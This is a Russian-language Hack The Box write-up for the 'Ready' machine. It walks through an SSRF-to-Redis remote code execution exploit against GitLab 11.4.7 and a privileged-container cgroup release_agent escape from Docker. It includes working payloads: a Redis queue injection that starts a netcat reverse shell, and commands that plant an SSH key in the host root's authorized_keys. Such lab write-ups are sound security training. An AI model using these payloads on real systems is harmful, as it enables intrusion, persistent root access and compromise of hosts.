Хакер - HTB Ready. Эксплуатируем дыру в GitLab и совершаем побег из Docker

Хакер - HTB Ready. Эксплуатируем дыру в GitLab и совершаем побег из Docker

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Закрепление
  • Продвижение
  • Локальное повышение привилегий: побег из Docker

В этой статье мы раз­берем целую цепоч­ку уяз­вимос­тей, которая даст нам выпол­нение про­изволь­ного кода в GitLab — популяр­ней­шем опен­сор­сном ана­логе GitHub. Затем устро­им побег из кон­тей­нера Docker, что­бы получить кон­троль над хос­том. Все это — на при­мере решения машины Ready с пло­щад­ки Hack The Box. Поеха­ли!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

Ад­рес машины — 10.10.10.202, сме­ло кида­ем его в /etc/hosts, что­бы писать вмес­то это­го ready.htb.

10.10.10.202 ready.htb

И конеч­но, ска­ниру­ем пор­ты в поис­ках инте­рес­ных вещей.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

Ви­дим два откры­тых пор­та: 22 (служ­ба SSH) и 5080 (веб‑сер­вер nginx). На SSH мы пой­дем сту­чать­ся, ког­да у нас будут какие‑нибудь учет­ные дан­ные, поэто­му нач­нем с nginx. Скрипт, при­веден­ный выше, любез­но пре­дос­тавил нам информа­цию из поля http-title, бла­года­ря которой мы сра­зу опре­деля­ем исполь­зуемую тех­нологию — GitLab.

GitLab — это сис­тема управле­ния репози­тори­ями кода на осно­ве Git с собс­твен­ной вики, сис­темой отсле­жива­ния оши­бок и дру­гими фун­кци­ями. Отличная шту­ка, но, как и в любом популяр­ном про­екте, в нем вре­мя от вре­мени находят дыры. Наша цель сей­час — узнать, какие имен­но из них будут нам дос­тупны.

Стра­ница авто­риза­ции GitLab

У нас есть воз­можность зарегис­три­ровать­ся, сра­зу сде­лаем это, что­бы получить дос­туп к боль­шему чис­лу фун­кций, чем пре­дос­тавля­ется для гос­тей. В пер­вую оче­редь нам нуж­но узнать вер­сию про­дук­та и поис­кать информа­цию или отче­ты об уже най­ден­ных уяз­вимос­тях, а воз­можно, и готовые экс­пло­иты. Обыч­но вер­сию мож­но узнать на стра­ницах вро­де About или Help. Заод­но не забыва­ем прой­тись и по дру­гим раз­делам — в поис­ках цен­ной информа­ции вро­де имен поль­зовате­лей и подоб­ных вещей.

ТОЧКА ВХОДА

На стра­нице Help находим вер­сию про­дук­та — 11.4.7.


Ис­поль­зуемая вер­сия GitLab

Впол­не веро­ятно, что для такого популяр­ного про­дук­та в Exploit DB най­дут­ся готовые уяз­вимос­ти. Если ты исполь­зуешь Kali Linux или дру­гой хакер­ский дистр, то, ско­рее все­го, можешь прос­то написать коман­ду searchsploit:

searchsploit gitlab 11.4.7

searchsploit -p ruby/webapps/49334.py

Ре­зуль­тат работы скрип­та

INFO

В реаль­ных усло­виях луч­ше исполь­зовать Google, что­бы искать по всем дос­тупным иссле­дова­ниям и отче­там, вклю­чая самые новые.

Так мы узна­ем об уяз­вимос­ти, которая может пре­дос­тавить уда­лен­ное выпол­нение кода (RCE). Так­же получа­ем ее иден­тифика­тор (2018-19571 и 2018-19585) в базе дан­ных обще­извес­тных уяз­вимос­тей информа­цион­ной безопас­ности (CVE).

INFO

Об экс­плу­ата­циях уяз­вимос­тей в GitLab читай так­же в стать­ях «HTB Laboratory. Взла­мыва­ем GitLab и учим­ся перех­ватывать пути в Linux» и «Чи­тай и выпол­няй. Как работа­ет экс­пло­ит новой уяз­вимос­ти в GitLab».

ЗАКРЕПЛЕНИЕ

Най­ден­ный нами экс­пло­ит исполь­зует цепоч­ку уяз­вимос­тей. Сна­чала идет обыч­ный блок кода, авто­ризу­ющий нового поль­зовате­ля.

Блок кода, авто­ризу­ющий поль­зовате­ля

За­тем экс­плу­ати­рует­ся уяз­вимость SSRF в фун­кции соз­дания нового про­екта при импорте репози­тория по URL. Это поз­воля­ет нам обра­щать­ся к локаль­ному сер­веру Redis, который работа­ет на пор­те 6379. Так как при этом «зап­росы к локаль­ному хос­ту не раз­решены», для обхо­да исполь­зует­ся спе­циаль­ный адрес IPv6: [0:0:0:0:0:ffff:127.0.0.1]:6379.

Ре­зуль­тат работы скрип­та

Redis — резиден­тная сис­тема управле­ния базами дан­ных клас­са NoSQL с откры­тым исходным кодом, работа­ющая со струк­турами дан­ных типа «ключ — зна­чение». Она час­то исполь­зует­ся и в роли СУБД, и для реали­зации кешей и бро­керов сооб­щений. GitLab исполь­зует его по‑раз­ному, нап­ример для хра­нения дан­ных сеан­са, кеширо­вания и даже для хра­нения оче­реди фоновых заданий.

Так как Redis исполь­зует прос­той тек­сто­вый про­токол, мы можем спо­кой­но работать с ним нап­рямую, не соб­людая никаких спе­цифи­каций. Так как есть воз­можность вза­имо­дей­ство­вать с Redis через SSRF, ста­новит­ся воз­можным получе­ние уда­лен­ного выпол­нения кода (RCE).

Де­ло в том, что Redis так­же мож­но исполь­зовать для фоновых оче­редей заданий, которые обра­баты­вают­ся с помощью Sidekiq — пла­ниров­щика заданий с откры­тым исходным кодом, написан­ным на Ruby. В пред­став­ленной наг­рузке, которая отправ­ляет­ся Redis, исполь­зуют­ся вло­жен­ные зап­росы, и наг­рузка ста­новит­ся похожа на гад­жет. Так, в экс­пло­ите фун­кция system_hook_push исполь­зует­ся для обра­бот­ки новых заданий, а класс GitlabShellWorker (из фай­ла gitlab_shell_worker.rb) вызыва­ется с такими аргу­мен­тами, как class_eval, а даль­ше — коман­да, которую нуж­но выпол­нить.

В исходном экс­пло­ите выпол­няет­ся вот такая коман­да:

open('|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ ').read)

multi

sadd resque:gitlab:queues system_hook_push

lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1608799993.1234567,\"enqueued_at\":1608799993.1234567}"

exec

exec

exec

Я изме­нил выпол­няемую коман­ду на ста­тичес­ки задан­ный шелл: 'nc -e /bin/bash [local_ip] [local_port] '.

Ори­гиналь­ная коман­да, исполь­зуемая в экс­пло­ите
Ста­тичес­кий шелл, заменив­ший ори­гиналь­ную коман­ду

Наш код дол­жен выз­вать кон­нект на ука­зан­ные адрес (локаль­ный IP) и порт. Но что­бы отло­вить это под­клю­чение, нам сна­чала нуж­но позабо­тить­ся о дру­гой сто­роне и соз­дать лис­тенер.

INFO

Я советую исполь­зовать ути­литу rlwrap — это удоб­ная обо­лоч­ка с исто­рией команд. В качес­тве самого лис­тенера я исполь­зую netcat.

При прос­том запус­ке экс­пло­ита узна­ем необ­ходимые парамет­ры, такие как логин и пароль, URL GitLab, а так­же адрес локаль­ного хос­та и локаль­ный порт для под­клю­чения (они неваж­ны, так как мы ука­зали их в наг­рузке ста­тичес­ки).

apt install rlwrap

rlwrap nc -lvp [port]

За­пуск экс­пло­ита 49334

В окне лис­тенера netcat получа­ем бэк­конект в кон­тек­сте поль­зовате­ля git.

Бэк­конект в лис­тенере

ПРОДВИЖЕНИЕ

Мы получи­ли дос­туп к хос­ту, и сле­дующий шаг — это сбор информа­ции. Источни­ков может быть мно­го, все не упом­нишь, и дело зна­читель­но уско­ряют скрип­ты PEASS. Они авто­мати­чес­ки про­шер­стят сис­тему и даже под­све­тят информа­цию, на которую сто­ит обра­тить вни­мание. Заг­рузим на локаль­ный хост скрипт для Linux.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь нуж­но заг­рузить его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью python прос­той веб‑сер­вер. Пос­ле выпол­нения коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

python3 -m http.server

С помощью того же wget на целевой машине заг­рузим скрипт с локаль­ного хос­та на уда­лен­ный. Пос­ле заг­рузки необ­ходимо дать пра­во на выпол­нение и выпол­нить скрипт.

wget http://[ip_локального_хоста]:8000/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

Из вывода LinPEAS мы узна­ем важ­ный факт: мы работа­ем внут­ри кон­тей­нера Docker. Так­же обра­щаем вни­мание на сущес­тво­вание катало­га /opt/backup/.

Оп­ределе­ние сис­темы, выпол­ненное LinPEAS
Со­дер­жимое дирек­тории /opt/backup/

Мы находим два фай­ла, свя­зан­ных с GitLab. Мож­но прос­то смот­реть их (как это делал я), а мож­но и греп­нуть раз­ные сло­ва, вро­де pass, token, secret. Резуль­тат будет один — мы най­дем еще один пароль, который мож­но попытать­ся исполь­зовать далее.

Па­роль в фай­ле GitLab

Пер­вое, что при­ходит на ум пос­ле такой наход­ки, — это сме­на поль­зовате­ля, но, что­бы ее выпол­нить, нам нуж­но получить инте­рак­тивную обо­лоч­ку. Есть нес­коль­ко спо­собов, как это мож­но сде­лать, но если на машине при­сутс­тву­ет интер­пре­татор Python 3, то дос­таточ­но все­го лишь двух строк кода, которые мы напишем пря­мо в коман­дной стро­ке:

python3 -c 'import pty; pty.spawn("/bin/bash")'

По­луче­ние инте­рак­тивно­го шел­ла

Те­перь прос­то меня­ем поль­зовате­ля при помощи su. Затем находим в Docker одно­го поль­зовате­ля, у которо­го и забира­ем флаг.

По­луче­ние рута в докере
Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ: ПОБЕГ ИЗ DOCKER

Итак, у нас есть рут, но рут в кон­тей­нере. Мож­но сно­ва запус­кать скрипт типа LinPEAS, но в слу­чае с Docker советую исполь­зовать дру­гой скрипт для раз­ведки — Deepce. Он про­водит необ­ходимые про­вер­ки в поис­ках пути повыше­ния при­виле­гий или побега из Docker и даже про­веря­ет некото­рые экс­пло­иты. Заг­рузим Deepce через уже запущен­ный локаль­ный веб‑сер­вер на уда­лен­ный кон­тей­нер.

wget http://[ip_локального_хоста]:8000/deepce.sh

chmod +x deepce.sh

./deepce.sh

Ре­зуль­тат работы скрип­та Deepce

В выводе скрипт сооб­щает, что Docker запущен в при­виле­гиро­ван­ном режиме и мы можем повысить при­виле­гии на основном хос­те, вый­дя из кон­тей­нера. Даже ссыл­ку на инс­трук­цию дают! При­виле­гиро­ван­ные кон­тей­неры запус­кают­ся с фла­гом --privileged и име­ют root-дос­туп к основно­му хос­ту.

PoC, пред­ложен­ный Deepce

По ссыл­ке получа­ем целый PoC и еще две ссыл­ки на свя­зан­ные матери­алы, в том чис­ле и на Exploit DB.

Экс­пло­ит с Exploit DB

В осно­ве это­го экс­пло­ита лежат кон­троль­ные груп­пы (cgroup). Имен­но cgroup помога­ет изо­лиро­вать исполь­зование ресур­сов, за счет чего и про­изво­дит­ся изо­ляция кон­тей­неров. Пос­ле завер­шения пос­ледне­го про­цес­са в cgroup выпол­няет­ся коман­да, которая уда­ляет прек­ратив­шие работу кон­троль­ные груп­пы. Коман­да ука­зана в фай­ле release_agent и выпол­няет­ся от име­ни поль­зовате­ля root на основном хос­те — это и есть путь к повыше­нию при­виле­гий.

Са­мое опас­ное, что для нас откры­вает флаг --privileged, — это коман­да mount. Сна­чала мы соз­даем новый каталог /tmp/cgrp, мон­тиру­ем кон­трол­лер кон­троль­ной груп­пы RDMA и соз­даем дочер­нюю кон­троль­ную груп­пу (в дан­ном слу­чае x):

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

За­тем про­исхо­дит акти­вация фун­кции release_agent, так как по умол­чанию она неак­тивна.

echo 1 > /tmp/cgrp/x/notify_on_release

И наконец, про­писы­вает­ся путь к самому release_agent.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

echo "$host_path/cmd" > /tmp/cgrp/release_agent

В сле­дующем бло­ке кода записы­вают­ся выпол­няемые на основном хос­те коман­ды и дает­ся пра­во на исполне­ние. В отли­чие от исходно­го экс­пло­ита, где про­исхо­дит получе­ние спис­ка про­цес­сов, в наш экс­пло­ит вста­вим коман­ду записи пуб­лично­го клю­ча SSH (генери­руем коман­дой ssh-keygen) в файл /root/.ssh/authorized_keys.

echo '#!/bin/sh' > /cmd

echo "echo 'ssh rsa AAAA...' > /root/.ssh/authorized_keys" >> /cmd

chmod a+x /cmd

На­конец мы можем выпол­нить ата­ку, запус­тив про­цесс, который немед­ленно завер­шится внут­ри дочер­ней кон­троль­ной груп­пы x. Соз­дав про­цесс и записав его PID в файл cgroup.procs в каталог дочер­ней кон­троль­ной груп­пы x, мы ини­циируем выпол­нение сце­нария /cmd на основном хос­те.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Пол­ный поль­зователь­ский экс­пло­ит

В резуль­тате выпол­нения это­го кода наш пуб­личный ключ SSH будет записан на уда­лен­ном хос­те, что дает нам воз­можность под­клю­чить­ся от име­ни root.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page